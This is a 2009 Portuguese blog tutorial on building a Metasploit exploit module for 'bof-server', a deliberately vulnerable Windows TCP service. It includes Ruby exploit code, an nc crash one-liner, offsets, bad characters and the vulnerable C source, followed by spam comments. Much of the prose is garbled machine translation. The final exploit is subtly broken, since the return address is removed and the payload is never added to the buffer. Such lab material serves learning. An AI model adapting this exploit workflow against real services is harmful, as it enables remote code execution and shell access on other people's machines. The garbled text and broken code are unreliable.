Ataque buffer overflow,exemplo

Publicado: maio 12, 2009 em ataques, bugs, exploits, metasploit, seguranca
Tags:, ,

Estou escrevendo este post para explicar melhor, um tutorial em vídeo que eu vi no google.video.com, de um cara que criou um vídeo muito explicativo para o group.metasploit.com(grupo de estudos metasploit brasil).

Aconsselho aquém está iniciando os estudos do metasploit, que dê uma olhada no vídeo, no site www.metasploit-br.com.

Agora vamos para a parte explicativa e pratica.

Eu vou dar o mesmo exemplo do cara do vídeo, BOF_SERVER.

Vou dar uma introdução de um dos tipos de invasão com o metasploit, chamada: Buffer overflows é um ataque usado por muitos que consiste em lotar os buffers(memoria disponivel para aplicativos), de um servidor e incluir na sua lista de processos algum programa tal como um keylogger ou um trojan etc…

Todos os sistemas sao vulneraveis a buffer overflows e a soluçao é a mesma, procurar se já existem correçoes existentes. Novos erros desse tipo surgem todos os dias, até o XP tem alguns.

Um dos usos famosos de buffer overflow é o telnet reverso. Ele consiste em fazer a maquina alvo conectar-se a um servidor no computador do cracker, fornecendo-lhe um shell (prompt) de comando.

Estas vulnerabilidades si exploram mais constantemente em um programa chamado: Metasploit.

Para quem não conhece, Tem uma categoria no meu blog chamada metasploit e outra chamada exploits, veja os pots e aprenda mais sobre o metasploit.

————————-Vamos ao que interessa agora————————–à

Eu peguei um exploit já pronto e também peguei um programa feito e vulnerável a buffer overflow.

Essa façanha foi feita no metasploit 3.0.

Este programa foi feito com o intuito de ser explorado dutante este artigo.

Eu vou falar a mesma coisa que o Rafaello pelagalli.: Eu não sou perito em invasão muito menos em metasploit, só me esforço o Maximo possível para aprender o que eu posso, portanto qualquer critica construtiva eu aceito para corrigir-me.

COMEÇANDO:

O programa que será explorado ele tem duas funções, Version e quit.

Quando digitar version, aparecerá a versão do bof-server

Quando digitar quit, obviamente sairá do programa.

Quando você for executar o bof-server.exe, faça o seguinte:escreva o nome do <programa> <porta>, para conectar e listar tudo naquela porta.

  • bof-server.exe 4242

Quando você executar o programa por exemplo na porta padrão que é 4242, entre em outro computador da rede e conecte pelo protocolo telnet mesmo.

Exemplo:

> telnet localhost 4242

> version

bof-server v0.01

> quit

Disconnect

Este programa separa 512 para o buffer( char buffer[512]; )

Como nos vimos acima na explicaçao do ataquede buffer overflow, Ele consiste em lotar buffers mais do que o suportado. No nosso exemplo: O programa só suporta “char buffer[512];“ então si fizermos o teste de mandar por exemplo “buffer[1024];“ ele não irá suportar o tanto de buffer e vai dar um erro no programa(chamado buffer). Com o metasploit nós pegamos estes erros e transformamos em uma tentativa de conexão.

E para explorarmos esta falha precisamos criar uma façanha no próprio metasploit para que o alvo seja explorado remotamente. E para criarmos uma façanha no metasploit, eu vou dar uma introdução de como criar um exploit.

Crie no subdiretório do metasploit dos módulos/exploits/os/type um arquivo chamado primeiroexploit.rb. No nosso caso aqui, o exploit já está pronto por isso não vou ficar perdendo tempo programando todo um exploit.

Escreva no seu exploit:

require ‘msf/core’

module Msf

# class name should reflect directories

class Exploits::Windows::Dummy::BofServer < Msf::Exploit::Remote

include Exploit::Remote::Tcp

# exploit relative informations

def initialize(info = {})

super(update_info(info,

‘Name’ => ‘bof-server exploit’,

‘Description’ => ‘This is an exploit for bof-server v0.01’,

‘Author’ => ‘xipe’, # You😉

‘Version’ => ‘1.0’,

‘Payload’ =>

{

‘Space’ => 1024, # Space that payload can use.

# We don’t know yet

‘BadChars’ => “\x00”, # Chars that payloads should not

# contains. We don’t know yet

},

‘Platform’ => ‘win’,

‘Targets’ =>

[

[ ‘Windows XP SP2 English’,

{

‘Platform’ =>’win’,

‘Ret’ => 0xaaaaaaaa # Return address. We don’t know yet

}

],

],

‘DefaultTarget’ => 0))

end

def check

# Here we should check if the target is vulnerable

# This function should not crash the target

end

def exploit

# Here we should exploit the target

end

end

end

/*Lembrando, é importante para aqueles que nunca criaram um exploit, ESCREVER ESTE EXPLOIT E NÃO COPIAR E COLAR.

Lembrando: todos as linhas que tem “#”, não fazem parte do codigo, só é comentários feitos que o metasploit aceita colocar.(sem problemas) não precisa excluir

OBS: aprenda algumas coisas que todos os programas que criam programas aceitam a fazer, exemplo: função: DO, WHILE, IF, END, FOR e ETC.

OBS1: não precisa de muita coisa para entender este exploit, tudo está bem obvio e o que tiver bem obvio eu não explico, pois da para entender, a não ser que você seja um piiiiiii. exemplo: palavras em inglês similares as do português. */

——————————————————————————-

Nossa execução remota do código das licenças do bof-server, devido a uma pilha baseou o excesso de buffer introduzido pela função do getl(int fd, char *s). Se você precisa mais informações a respeito dos excessos baseados a estouros na memória. Leia sobre Aleph1 que fala muito sobre isso, muito bom o livro!(nunca vi, mas pessoas recomendaram-me a postar ele aqui.

Mais voltando, nós podemos fazer nosso programa parar com:

> perl -e “print ‘A’x1024” | nc localhost 4242

> telnet localhost 4242

Connecting To localhost…Could not open connection to the host, on port 4242: Connect failed

———————————————————————————————

Agora é hora de começar dar as informações que faltam, nós já sabemos que quando emitimos 1024 bytes dos dados faz nosso usuário deixar de funcionar. Metasploit dá uma ferramenta muito fresca para explorar diversos tipos de ataques. Agora você já sabe quantos bytes precisam de ser emitidos para encher o amortecedor remoto e para deixar de funcionar o alvo. Esta ferramenta é composta de 2 certificados: pattern_create.rb e pattern_offset.rb. Nós não usaremos pattern_create.rb, mas a função do pattern_create () em seu certificado da façanha preferivelmente. Está aqui sua função nova da façanha de nosso certificado: façanha do def # aqui nós devemos explorar o alvo conecte buf = pattern_create (1024) sock.put (buf) sock.get disconexão de extremidade

Como você onde ver pattern_offest.rb retornou 520, assim que 520 bytes + 4 são necessários para fazer o alvo deixar de funcionar. Olhando a pilha nós devemos igualmente poder encontrar o endereço de começo do amortecedor transbordado (aqui eu começo 0×22fb65). Nós temos agora completamente todas as informações necessários para nossa façanha. Único permanecer das coisas é o BadChars. BadChars é os caráteres que não devem ser emitidos ao alvo, porque o alvo os modifica, nem se comportam diferentemente ao os encontrar. Além disso, em nosso depurador de programas, olhando o código do conjunto (em torno de 0×4146D) nós encontramos que o alvo está fazendo algo especial com os caráteres 0×0A, 0×0D e 0×20. Usando todas estas informações nós podemos agora coloca-los em nosso certificado da façanha. Nosso certificado da façanha. Olhe esta:

require ‘msf/core’

module Msf

# class name should reflect directories

class Exploits::Windows::Dummy::BofServer < Msf::Exploit::Remote

include Exploit::Remote::Tcp

# exploit relative informations

def initialize(info = {})

super(update_info(info,

‘Name’ => ‘bof-server exploit’,

‘Description’ => ‘This is an exploit for bof-server v0.01’,

‘Author’ => ‘xipe’, # You😉

‘Version’ => ‘1.0’,

‘Payload’ =>

{

# We found that we needed 520 bytes to make the

# bof-server crash, but we will only use 500, as

# the end of this space can be modified by the target

‘StackAdjustment’ => -3500, # Modify stack pointer at shellcode start

# so it can use the stack without writing

‘BadChars’ => “\x00\x20\x0D\x0A”, # Chars that payloads should not

},

‘Platform’ => ‘win’,

‘Targets’ =>

[

[ ‘Windows XP SP2 English’,

{

‘Platform’ =>’win’,

}

],

],

‘DefaultTarget’ => 0))

end

def check

# Here we should check if the target is vulnerable

# This function should not crash the target

connect

buf = “version\n”

sock.put(buf)

res = sock.get

disconnect

if res =~ /bof-server v0.01/

return Exploit::CheckCode::Vulnerable

end

return Exploit::CheckCode::Safe

end

def exploit

# Here we should exploit the target

connect

buf << make_nops(20) # Some more bytes, as we defined the payload to be 500 bytes long

buf << [target.ret].pack(‘V’) # Return address
sock.put(buf) # send data

sock.get

handler # pass the connection to the payload handler

disconnect

end

end

end

Aqui só tem pots legais e intereçantes aqui no blog, não perca tempo deixe este site no seu favoritos, para você estar sempre atualizado em questão de segurança em rede.

AGORA EU LEMBREI, TENHO QUE COLOCAR O CODIGO DO PROGRAMA EM C E ensina-lo a compilar.

Aqui está o código do programa vulneravei a buffer overflow criado por um tal de Raffaello Pelagalli:

/*

** bof-server.c for bof-server

**

** Made by Raffaello Pelagalli

**

** Started on Mon Jan 21 14:13:07 2008 Raffaello Pelagalli

** Last update Wed Jan 23 00:08:18 2008 Raffaello Pelagalli

**

** This library is free software; you can redistribute it and/or

** modify it under the terms of the GNU Lesser General Public

** License as published by the Free Software Foundation; either

** version 2.1 of the License, or (at your option) any later version.

**

** This library is distributed in the hope that it will be useful,

** but WITHOUT ANY WARRANTY; without even the implied warranty of

** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU

** Lesser General Public License for more details.

**

** You should have received a copy of the GNU Lesser General Public

** License along with this library; if not, write to the Free Software

** Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA

** 02111-1307 USA

*/

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <errno.h>

#include <string.h>

#include <sys/types.h>

#include <winsock.h>

#define BACKLOG 5

#define VERSION_STR “bof-server v0.01”

void usage(char * name){

printf(“Escreva aaqui a porta a ser monitorada: %s <port>\n”, name);

exit (-1);

}

void bserv_error(char *s, int n, char *msg){

fprintf(stderr, “%s at line %i: %s, %s\n”, s, n, msg, strerror(errno));

exit(-1);

}

int getl(int fd, char *s){

int n;

int ret;

s[0] = 0;

for (n = 0; (ret = recv(fd, s + n, 1, 0)) == 1 &&

s[n] && s[n] != ‘\n’; n++)

;

if (ret == -1 || ret == 0)

return (-1);

while (n && (s[n] == ‘\n’ || s[n] == ‘\r’ || s[n] == ‘ ‘)) {

s[n] = 0;

n–;

}

return (n);

}

void manage_client(int s)

{

char buffer[512];

int cont = 1;

while (cont)

{

send(s, “\r\n> “, 4, 0);

if (getl(s, buffer) == -1)

return ;

if (!strcmp(buffer, “version”))

send(s, VERSION_STR, strlen(VERSION_STR), 0);

if (!strcmp(buffer, “quit”))

cont = 0;

}

}

int main(int ac, char **av){

int p;

int s;

int i;

int pid;

int cli_s;

struct sockaddr_in sin;

struct sockaddr_in cli_sin;

if (ac != 2 || atoi(av[1]) > 65555)

usage(av[0]);

p = atoi(av[1]);

WSADATA wsaData;

if (WSAStartup(MAKEWORD(1, 1), &wsaData) != 0) {

fprintf(stderr, “WSAStartup failed.\n”);

exit(1);

}

if ((s = socket(PF_INET, SOCK_STREAM, 0)) == -1)

bserv_error(__FILE__, __LINE__, “socket”);

sin.sin_family = AF_INET;

sin.sin_port = htons(p);

sin.sin_addr.s_addr = INADDR_ANY;

if (bind(s, (struct sockaddr*)&sin, sizeof(sin)) == -1)

bserv_error(__FILE__, __LINE__, “Can’t bind”);

if (listen(s, 42) == -1)

bserv_error(__FILE__, __LINE__, “Can’t listen”);

i = sizeof(cli_sin);

while ((cli_s = accept(s, (struct sockaddr*)&cli_sin, &i)) != -1)

{

printf(“[%i] %s connected\n”, cli_s, inet_ntoa(cli_sin.sin_addr));

manage_client(cli_s);

printf(“[%i] %s disconnected\n”, cli_s, inet_ntoa(cli_sin.sin_addr));

closesocket(cli_s);

}

perror(“accept”);

closesocket(s);

return (0);

}

Qualquer duvida post aqui no BLOG que eu irei fazer o possível para responder todas as perguntas.

comentários
  1. André disse:

    Um dos ataques raros de buffer overflow num programa do win xp service pack 3 é o programa explorer.exe (explorador do windows).
    Se haver um desses casos raros deve falar com a microsoft para receber uma correção, ou usar um programa para isolar o explorer.exe do resto do sistema.

  2. Arron disse:

    Hi there! I could have sworn I’ve visited this website before but after browsing through some of the posts I realized it’s new
    to me. Anyways, I’m certainly pleased I found it and I’ll be bookmarking
    it and checking back often!

  3. I visited many websites but the audio quality for
    audio songs current at this web site is genuinely marvelous.

Deixe uma resposta

Preencha os seus dados abaixo ou clique em um ícone para log in:

Logotipo do WordPress.com

Você está comentando utilizando sua conta WordPress.com. Sair / Alterar )

Imagem do Twitter

Você está comentando utilizando sua conta Twitter. Sair / Alterar )

Foto do Facebook

Você está comentando utilizando sua conta Facebook. Sair / Alterar )

Foto do Google+

Você está comentando utilizando sua conta Google+. Sair / Alterar )

Conectando a %s